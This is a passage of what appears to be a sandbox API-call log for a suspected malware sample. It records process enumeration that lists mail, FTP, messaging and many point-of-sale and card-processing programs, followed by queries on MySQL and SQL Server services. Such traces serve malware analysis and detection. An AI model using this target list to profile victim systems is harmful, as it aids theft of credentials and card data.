th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0124.954] Process32Next (in: hSnapshot=0x10c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x95c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0124.955] Process32Next (in: hSnapshot=0x10c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x96c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0125.002] Process32Next (in: hSnapshot=0x10c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x97c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0125.003] Process32Next (in: hSnapshot=0x10c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x98c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0125.005] Process32Next (in: hSnapshot=0x10c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x99c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0125.006] Process32Next (in: hSnapshot=0x10c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x9ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0125.007] Process32Next (in: hSnapshot=0x10c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x9bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0125.008] Process32Next (in: hSnapshot=0x10c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x9cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0125.009] Process32Next (in: hSnapshot=0x10c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x9dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0125.009] Process32Next (in: hSnapshot=0x10c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x9ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0125.010] Process32Next (in: hSnapshot=0x10c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x9fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0125.011] Process32Next (in: hSnapshot=0x10c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xa0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0125.012] Process32Next (in: hSnapshot=0x10c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0125.012] Process32Next (in: hSnapshot=0x10c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xa2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0125.013] Process32Next (in: hSnapshot=0x10c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xa3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0125.014] Process32Next (in: hSnapshot=0x10c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xa4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0125.015] Process32Next (in: hSnapshot=0x10c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xa5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0125.015] Process32Next (in: hSnapshot=0x10c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xa6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0125.016] Process32Next (in: hSnapshot=0x10c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xa7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0125.017] Process32Next (in: hSnapshot=0x10c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xa8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0125.017] Process32Next (in: hSnapshot=0x10c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xa9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0125.018] Process32Next (in: hSnapshot=0x10c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0125.019] Process32Next (in: hSnapshot=0x10c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xabc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0125.019] Process32Next (in: hSnapshot=0x10c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xacc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0125.020] Process32Next (in: hSnapshot=0x10c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xadc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0125.021] Process32Next (in: hSnapshot=0x10c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xaec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0125.021] Process32Next (in: hSnapshot=0x10c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xafc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0125.022] Process32Next (in: hSnapshot=0x10c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xb0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0125.023] Process32Next (in: hSnapshot=0x10c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xb20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="charts.exe")) returned 1 [0125.023] Process32Next (in: hSnapshot=0x10c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xb30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="jakeliberalcooked.exe")) returned 1 [0125.024] Process32Next (in: hSnapshot=0x10c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xb40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="address_partners.exe")) returned 1 [0125.025] Process32Next (in: hSnapshot=0x10c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="shipments-apache-broad.exe")) returned 1 [0125.025] Process32Next (in: hSnapshot=0x10c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="vendor.exe")) returned 1 [0125.026] Process32Next (in: hSnapshot=0x10c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0125.027] Process32Next (in: hSnapshot=0x10c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xbc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0125.027] Process32Next (in: hSnapshot=0x10c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0125.028] Process32Next (in: hSnapshot=0x10c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xb7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xbe, th32ParentProcessID=0x15c, pcPriClassBase=8, dwFlags=0x0, szExeFile="c.exe")) returned 1 [0125.028] Process32Next (in: hSnapshot=0x10c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xfb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xb7c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0125.029] Process32Next (in: hSnapshot=0x10c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xfc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0125.029] Process32Next (in: hSnapshot=0x10c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x126c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xbc4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0125.030] Process32Next (in: hSnapshot=0x10c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x127c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0125.030] Process32Next (in: hSnapshot=0x10c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xa08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x126c, pcPriClassBase=8, dwFlags=0x0, szExeFile="c.exe")) returned 1 [0125.031] Process32Next (in: hSnapshot=0x10c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xfb0, pcPriClassBase=8, dwFlags=0x0, szExeFile="poc.exe")) returned 1 [0125.040] Process32Next (in: hSnapshot=0x10c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x140c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1114, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0125.040] Process32Next (in: hSnapshot=0x10c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x141c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x140c, pcPriClassBase=8, dwFlags=0x0, szExeFile="star.exe")) returned 1 [0125.041] Process32Next (in: hSnapshot=0x10c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xa08, pcPriClassBase=8, dwFlags=0x0, szExeFile="cpt.exe")) returned 1 [0125.042] Process32Next (in: hSnapshot=0x10c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1e0, pcPriClassBase=4, dwFlags=0x0, szExeFile="rundll32.exe")) returned 1 [0125.042] Process32Next (in: hSnapshot=0x10c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1e0, pcPriClassBase=4, dwFlags=0x0, szExeFile="rundll32.exe")) returned 0 [0125.042] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0xf003f) returned 0x8202b0 [0125.088] OpenServiceA (hSCManager=0x8202b0, lpServiceName="MySQL", dwDesiredAccess=0xf01ff) returned 0x0 [0125.089] QueryServiceStatus (in: hService=0x0, lpServiceStatus=0x18ead0 | out: lpServiceStatus=0x18ead0*(dwServiceType=0x20, dwCurrentState=0x1, dwControlsAccepted=0x0, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 0 [0125.089] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0xf003f) returned 0x820350 [0125.089] OpenServiceA (hSCManager=0x820350, lpServiceName="MySQLa", dwDesiredAccess=0xf01ff) returned 0x0 [0125.089] QueryServiceStatus (in: hService=0x0, lpServiceStatus=0x18ead0 | out: lpServiceStatus=0x18ead0*(dwServiceType=0x20, dwCurrentState=0x1, dwControlsAccepted=0x0, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 0 [0125.089] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0xf003f) returned 0x8203f0 [0125.089] OpenServiceA (hSCManager=0x8203f0, lpServiceName="SQLWriter", dwDesiredAccess=0xf01ff) returned 0x0 [0125.090] QueryServiceStatus (in: hService=0x0, lpServiceStatus=0x18ead0 | out: lpServiceStatus=0x18ead0*(dwServiceType=0x20, dwCurrentState=0x1, dwControlsAccepted=0x0, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 0 [0125.090] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0xf003f) returned 0x820490 [0125.090] OpenServiceA (hSCManager=0x820490, lpServiceName="SQLSERVERAGENT", dwDesiredAccess=0xf01ff) returned 0x0 [0125.090] QueryServiceStatus (in: hService=0x0, lpServiceStatus=0x18ead0 | out: lpServiceStatus=0x18ead0*(dwServiceType=0x20, dwCurrentState=0x1, dwControlsAccepted=0x0, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 0 [0125.090] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0xf003f) returned 0x820530 [0125.090] OpenServiceA (hSCManager=0x820530, lpServiceName="MSSQLFDLauncher", dwDesiredAccess=0xf01ff) returned 0x0 [0125.091] QueryServiceStatus (in: hService=0x0, lpServiceStatus=0x18ead0 | out: lpServiceStatus=0x18ead0*(dwServiceType=0x20, dwCurrentState=0x1, dwControlsAccepted=0x0, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 0 [0125.091] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0xf003f) returned 0x8205d0 [0125.091] OpenServiceA (hSCManager=0x8205d0, lpServiceName="MSSQLSERVER", dwDesiredAccess=0xf01ff) returned 0x0 [0125.091] QueryServiceStatus (in: hService=0x0, lpServiceStatus=0x18ead0 | out: lpServiceStatus=0x18ead0*(dwServiceType=0x20, dwCurrentState=0x1, dwControlsAccepted=0x0, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 0 [0125.091] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0xf003f) returned 0x820670 [0125.091] OpenServiceA (hSCManager=0x820670, lpServiceName="UxSms", dwDesiredAccess=0xf01ff) returned 0x820238 [0125.092] QueryServiceStatus (in: hService=0x820238, lpServiceStatus=0x18ead0 | out: lpServiceStatus=0x18ead0*(dwServiceType=0x20, dwCurrentState=0x1, dwControlsAccepted=0x0, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 1 [0125.092] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x13c [0125.096] Process32First (in: hSnapshot=0x13c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0125.097] Process32Next (in: hSnapshot=0x13c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x56, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0125.097] Process32Next (in: hSnapshot=0x13c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0125.098] Process32Next (in: hSnapshot=0x13c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0125.098] Process32Next (in: hSnapshot=0x13c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0125.099] Process32Next (in: hSnapshot=0x13c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0125.099] Process32Next (in: hSnapshot=0x13c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0125.100] Process32Next (in: hSnapshot=0x13c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0125.100] Process32Next (in: hSnapshot=0x13c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0125.100] Process32Next (in: hSnapshot=0x13c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0125.104] Process32Next (in: hSnapshot=0x13c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0125.105] Process32Next (in: hSnapshot=0x13c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0125.105] Process32Next (in: hSnapshot=0x13c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0125.106] Process32Next (in: hSnapshot=0x13c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0125.106] Process32Next (in: hSnapshot=0x13c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0125.107] Process32Next (in: hSnapshot=0x13c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0125.107] Process32Next (in: hSnapshot=0x13c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0125.107] Process32Next (in: hSnapshot=0x13c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0125.108] Process32Next (in: hSnapshot=0x13c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x42c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0125.108] Process32Next (in: hSnapshot=0x13c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x46c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0125.109] Process32Next (in: hSnapshot=0x13c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0125.109] Process32Next (in: hSnapshot=0x13c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0125.110] Process32Next (in: hSnapshot=0x13c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0125.110] Process32Next (in: hSnapshot=0x13c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x720, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, 